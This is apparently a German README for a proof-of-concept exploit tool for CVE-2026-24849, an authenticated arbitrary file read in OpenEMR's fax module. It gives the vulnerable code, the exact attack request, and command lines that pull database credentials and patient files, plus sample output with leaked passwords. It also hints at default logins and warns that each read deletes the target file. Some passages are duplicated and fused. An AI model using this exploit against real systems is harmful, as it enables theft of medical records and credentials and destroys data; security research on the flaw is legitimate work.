
Proof-of-Concept-Exploit für CVE-2026-24849, einen authentifizierten Path-Traversal / beliebiges Lesen von Dateien im OpenEMR-Fax-/SMS-Modul (EtherFax). Jeder authentifizierte Benutzer, unabhängig von seiner Berechtigungsstufe, kann beliebige Dateien vom Server-Dateisystem als Webserver-Benutzer lesen (Datenbankanmeldedaten, Patientendokumente/PHI, /etc/passwd, …).
disposeDoc)Proof-of-Concept-Exploit für CVE-2026-24849, ein authentifiziertes Pfad-Durchlaufen / beliebiges Dateilesen im Fax/SMS-Modul (EtherFax) von OpenEMR. Jeder authentifizierte Benutzer – unabhängig von der Berechtigungsstufe – kann beliebige Dateien aus dem Server-Dateisystem als Web-Server-Benutzer lesen (Datenbankzugangsdaten, Patientendokumente/PHI, /etc/passwd, …).
| CVE | CVE-2026-24849 |
| Schwachstelle | Pfad-Durchlaufen / beliebiges Dateilesen (CWE-22) |
| Komponente | EtherFaxActions::disposeDoc() – interface/modules/custom_modules/oe-module-faxsms |
| Betroffen | OpenEMR < 7.0.4 |
| Behoben in | OpenEMR 7.0.4 |
| Authentifizierung | Erforderlich – beliebiger Benutzer, keine Rechte nötig |
| Schweregrad | NVD 6,5 (Mittel) / GitHub CNA 9,9 (Kritisch) |
| Getestet auf | OpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Die Methode disposeDoc() des Fax/SMS-Moduls nimmt einen vom Aufrufer gelieferten file_path-Parameter entgegen, prüft, ob die Datei existiert, und übergibt sie direkt an readfile() – ohne Pfad-Kanonisierung, ohne Whitelisting und ohne Autorisierungsprüfung außer einer gültigen Session:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // vom Angreifer kontrolliert, ungeprüft
if (file_exists($where)) {
...
readfile($where); // beliebiges Dateilesen als Web-Server-Benutzer
unlink($where); // ⚠ löscht die Datei nach dem Lesen (siehe Warnung unten)
exit;
}
die('Problem with download. Use browser back button');
}
Der Handler wird über den Modul-Dispatcher mit einem absoluten Pfad in file_path erreicht (kein ../-Durchlaufen nötig):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
Ein Konto mit niedrigen (oder Standard-)Rechten wird zu einer vollständigen serverseitigen Dateilese-Primitive:
sites/default/sqlconf.phpsites/<site>/documents/, selbst wenn dieses Verzeichnis in .htaccess mit Deny from all geschützt ist (das Lesen erfolgt auf Disk, umgeht Apache)/etc/passwd, Anwendungsquellcode, vom Web-Benutzer lesbare Schlüssel/Tokens⚠️ Zerstörerisches Verhalten
disposeDoc()ruftunlink($where)nach dem Lesen der Datei auf. Das Lesen einer Datei, die der Web-Server-Benutzer löschen darf, entfernt sie. Ziele auf Root-gehörige Dateien (z. B./etc/passwd,sqlconf.phpbei den meisten Installationen) – deren übergeordnetes Verzeichnis ist für den Web-Benutzer nicht beschreibbar, sodassunlink()fehlschlägt und die Datei erhalten bleibt. Gehen Sie bewusst damit um, worauf Sie diese Funktion richten.
admin:pass funktioniert oft).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
Ohne Argumente gestartet, fragt es nach allen benötigten Informationen:
python3 CVE-2026-24849.py
Oder nicht-interaktiv mit Flags:
# eine einzelne Datei lesen
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# DB-Zugangsdaten abgreifen und in Datei speichern
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
Falls -f weggelassen wird, begibt sich das Tool in eine interaktive Leseschleife, sodass Sie mehrere Dateien aus einer Sitzung abrufen können.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authentifiziertes beliebiges Dateilesen (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authentifiziere bei http://10.10.10.10 als 'admin' ...
[+] Authentifiziert; CVE-2026-24849 Dateilesen bestätigt.
[*] Interaktives Lesen - absolute Dateipfade eingeben (leer oder 'q' zum Beenden).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests, die Session wird im eigenen Cookie-Jar gehalten (vermeidet die Rotation der Browser-Session-ID, die kopierte Cookies ungültig machen würde).disposeDoc-Leseanfrage, automatischer Versuch sowohl von disposeDoc als auch disposeDocument (der Methodenname unterscheidet sich in verschiedenen betroffenen Nebenversionen)..htaccess als einzige Kontrolle verlassen.Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben. Der Autor übernimmt keine Haftung für Missbrauch oder für Schäden, die durch diese Software verursacht werden. Beachten Sie das oben beschriebene zerstörerische unlink()-Verhalten.
doany1
MIT – siehe LICENSE.
| Flag | Beschreibung | Standard |
|---|
-t, --target | Basis-URL, z. B. http://10.10.10.10 | abgefragt |
-u, --user | OpenEMR-Benutzername | admin |
-P, --password | OpenEMR-Passwort | abgefragt (versteckt) |
-s, --site | OpenEMR-Site-ID | default |
-f, --file | Absoluter Pfad der zu lesenden entfernten Datei | interaktive Schleife, falls weggelassen |
-o, --output | Die abgegriffene Datei lokal speichern statt auszugeben |